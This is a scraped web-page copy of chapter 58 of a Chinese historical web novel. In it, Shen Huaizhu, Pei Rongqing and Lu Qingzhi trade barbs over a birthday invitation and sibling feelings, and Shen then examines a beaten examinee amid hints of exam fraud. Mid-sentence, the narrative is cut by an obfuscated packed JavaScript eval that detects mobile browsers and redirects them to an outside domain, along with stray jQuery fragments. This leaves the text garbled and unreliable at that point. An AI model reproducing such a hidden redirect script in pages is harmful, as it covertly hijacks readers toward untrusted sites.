默认冷灰
24号文字
方正启体

58. 独步春(八)

作者:云莳本书字数:K更新时间:
    “所以呢?”


    裴容青面色恢复如常。


    “没什么。”


    停顿片刻,沈怀珠也不再纠缠这个话题。


    两相无话,一时有些尴尬。


    陆清执适时出现,打破这份怪异的沉默。他从容不迫,面上带着温和的笑,视线交接时,令人如沐春风。


    如蒙大赦,沈怀珠总算从方才的尴尬里解脱。只要有陆清执在的地方,就不存在冷场。


    果不其然,人还没踏进门,声音就先赶来。


    “有上好的六安瓜片不请我,倒关起门来偷偷喝,这是什么道理?”陆清执连声啧啧,见换了一身依旧是白袍衫的男子没有要理会他的意思,不满地撇撇嘴。


    “太医院如何?”


    陆清执立刻调转话头,寻另一人闲聊。


    沈怀珠答:“还好,人多活杂,和想象的差不多。”


    “想好接下来怎么做了吗?宫里不必外头,人人都有一副七窍玲珑心,行事会更艰难。何况你想动的人,轻易不可撼动。”


    “我一向是个没什么计划的人,临时变数太多,不愿费太多心思。”


    这是不愿接着说的意思,陆清执极有眼色,刚想换个话题,就被另一个人抢走开口的机会。


    裴容青冷眼旁观半晌,冷不丁来了一句,“太后似乎很喜欢你。”


    “裴大人慎言,我什么身份,太后什么身份,怎可放在一起议论?”


    裴容青嗤笑,“进宫几日,别的没学会,倒先学会了宫里那些套话。”


    “大人夸奖,民女愧不敢当,日后定会更加精进。”


    “咳——”陆清执突兀地咳嗽起来。


    “沈姑娘,你明日可有时间?”


    沈怀珠飞快看了裴容青一眼,见他无异状,才谨慎点头:“有,陆主簿有事?”


    原以为是随口闲话,没想到陆清执还真肯定地说,“有事。”


    在鄞州时,毕竟他出手相助过。沈怀珠素来是有仇必报,有恩必还的性子,见对方开口,便提前应下来。


    “好。”


    “好?你这就答应了?我还没说是什么……”陆清执瞠目结舌。


    沈怀珠静静地望着他,没说话。


    “明日是我的生辰,希望你能来。”陆清执珍重说道。


    眉毛微扬,沈怀珠万没想到会是这事,她自认和陆清执的私交还没到这等亲密的地步。然而望着他诚恳的眸光,她实在很难说“不”。


    “好,我会来的。”


    得到肯定的答案,陆清执紧绷的神经骤然松懈下来,他心情极好,却迟迟不肯离开。


    “还有事?”


    不知何时取来卷宗,一味翻阅的青年,到这儿仿佛想起室内还坐着两个人,突然出声。他抬起头,目光似一柄长剑,直直刺向满面春风的陆清执。


    陆清执摇头,“没有。”


    裴容青不爽:“那你还在这做什么?”


    “你是少卿,我为主簿,办案时理应如影随形。”陆清执微微一笑,嘴里满是对案子的上心,然而眼神转了又转,凉凉在他身上打量一眼,下巴微动,指了指对面的女子。


    裴容青气的发笑,“……”


    这是身为兄长,不愿自家妹妹和外男处一室的意思。若说闺中女子便罢,陆清执如今操心的妹妹自己都不在乎女子贞洁,离经叛道的事做了一件又一件,他这个哥哥倒是先讲究上了。


    “时辰差不多了,走吧。”


    懒得理会陆清执的小心思,裴容青起身,唤女子同行。


    谁知走出几个门廊,陆清执依然跟在身后,甩都甩不掉。裴容青忍无可忍,蓦然止步。身后的女子丝毫没有预料到他的动作,一个没反应过来,竟直接撞了上去!


    他恰好转身,她撞入怀里。


    与两人相距三五步远,宛如狗尾巴一样甩不掉的人,脸色顿时阴沉。


    陆清执不痛快,裴容青身心舒畅。


    沈怀珠离开他的胸前,刚准备抬手揉额头,忽然一阵温热覆上她的皮肤。


    裴容青轻轻地用手心揉着她撞到的痛处,很有耐心。嘴里念念有词,温柔的不像话,“怎么这么不小心?”


    脸颊渐渐灼热,浑身弥漫着异样的感觉。他的手掌心像烙铁一般,和她额头相触的每一个瞬间,都在反复熨烫她的心。


    几乎是逃,沈怀珠猛地往后大退一步,语气极差:“你做什么!”


    陆清执一个箭步冲上来,挡在她身前。


    唇角掠过一丝嘲讽,裴容青转身往前走,扔下一句话,“这么急切的护着,不明所以的人瞧着,还以为是兄妹。”


    听者有心。


    沈怀珠似乎也意识到什么,投向正好挡着她的背影的目光,覆上难言的复杂神色。


    陆清执挺直地脊背微微蜷躬,在短暂的瞬息失去气力。


    先是托裴容青给她金元宝,并叮嘱不够花的时候再找他要,后有今日反常的关心,和生辰的邀约……


    裴容青曾解释过,他的小妹早夭,对她这般好,许是将她当成妹妹,尽力弥补疼惜。


    想到自己的兄长,沈怀珠的心底泛起一股酸涩。同为长兄,有的人念念不忘,遗憾弥补;而有的人,则恨不得妹妹早点死,早点下地狱。


    她不知道沈同均缘何这样恨她。


    一直渴求得到的东西,原来有人离开十几年后,依然可以得到。


    快速调整好情绪,沈怀珠抬手,犹豫了一瞬,还是伸出去,拍了拍他的肩膀。


    “陆公子,”沈怀珠听到自己的声音尽可能平静克制,“若你愿意的话,可以把我当做你的妹妹。”


    陆清执依然背对着她,颓然的脊背颤了颤。他始终没说话,就在沈怀珠以为他不会回答时,耳边忽然落来声音,很轻。


    “不必了,你不是我妹妹。”


    出乎她的意料,沈怀珠先前在心里预设的推论顷刻倒塌。


    也罢,这是人家的事,究竟要怎样,人家说了算。


    为了逃脱尴尬局面,也是突然想起今日前来的任务,沈怀珠握紧了肩膀上挂着的药箱背带,勉强挤出个微笑,“那我就不打扰了,回见。”


    踉踉跄跄逃开,沈怀珠长舒一口气。


    穿过连廊右边的垂花拱门,裴容青正等在廊下。


    “总算想起正事了?”


    开口就是风凉话。


    沈怀珠懒得和他计


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863333|167411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    较,“人在哪?”


    ……


    来之前,沈怀珠早有心理准备。裴容青除非遇到棘手的事,否则断不会找她。


    然而推门而入,看清床上躺着的人时,沈怀珠还是愣了愣。


    方才那位是死的,如今这位还活着,瞧着和死了也差不太多。


    浑身肿胀,青紫红痕遍布全身,没一块好皮。从体型来判断,是位年轻男子。


    “这位你也认识。”裴容青说。


    “?”沈怀珠满脸疑惑。


    “贺修宁。”


    名字落入耳朵,沈怀珠不可置信地把视线再次转到几乎不成人形的躯体,瞪大了眼睛,“你说他是谁?”


    “唐恒的好友,贺修宁,你见过。”


    见过是见过,沈怀珠不明白地是,“他们几个得罪人了?”


    一波未平,一波又起,偏偏是这几个人接连遇难。


    除了得罪人遭到报复,沈怀珠再想不出别的可能。


    “可以这么说,但也不完全是。”


    裴容青的话说的云里雾里,沈怀珠没心思仔细琢磨,三步并作两步走到床边。上次见面时,青年还是玉树临风的稳重模样,言行举止,皆是读书人的典范。


    春闱结束,本该意气风发,春风得意马蹄疾时,两个人却都成了这副模样。


    沈怀珠一阵惋惜,“成绩马上就要放榜公布,便是考中进士,以现在的情形,多半要错失。”


    科举考试虽说只在策论诗赋上做文章,但身形长相也是无形一环。


    实在太磕碜的,多半没机会高中,更不可能做官。


    “他不会考中的。”


    裴容青的声音淡淡响起,语气里的十分笃定将字句变得无比冰凉。


    沈怀珠问:“你为何知道?”


    “据我所知,贺修宁此次已经是第三次进京赴考。”


    想起前几次偶遇时,贺修宁的谈吐不凡,沈怀珠不禁疑惑,刚要问出口,脑子里忽然跳出一个令人遍体生寒的想法,“你是说,他其实早就考中了?”


    见她迅速想明白,裴容青唇角噙着浅笑,“聪明。”


    “怎会如此?竟有人胆大至此……”沈怀珠气愤的声线越来越小,戛然而止。


    鄞州的场景历历在目。


    当初周行白允诺,她助他复仇,他告诉她全家灭门的关键。


    然而还没等到真相,周行白便自尽,尸骨无存。


    能让视科举如命的举子们愤而起义,不惜断送性命也要大闹一场。


    除了枉死的同僚外,恐怕还有别的原因。


    而这个原因,很有可能就是沈家灭门的真正缘由。


    能在天子眼皮子下偷梁换柱,大肆舞弊,绝非一般人。


    “你可有头绪?是谁?”沈怀珠问。


    “我为何要告诉你?”


    有时候,沈怀珠真觉得,裴容青之所以不受人待见,很大一部分原因是他太欠。


    “不想说算了。”


    假装不感兴趣,沈怀珠闷头准备针灸器具,才捏起银针往贺修宁身上下,就听身后的人缓缓开口。


    “告诉你可以,但是这么重要的消息你拿什么来交换?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)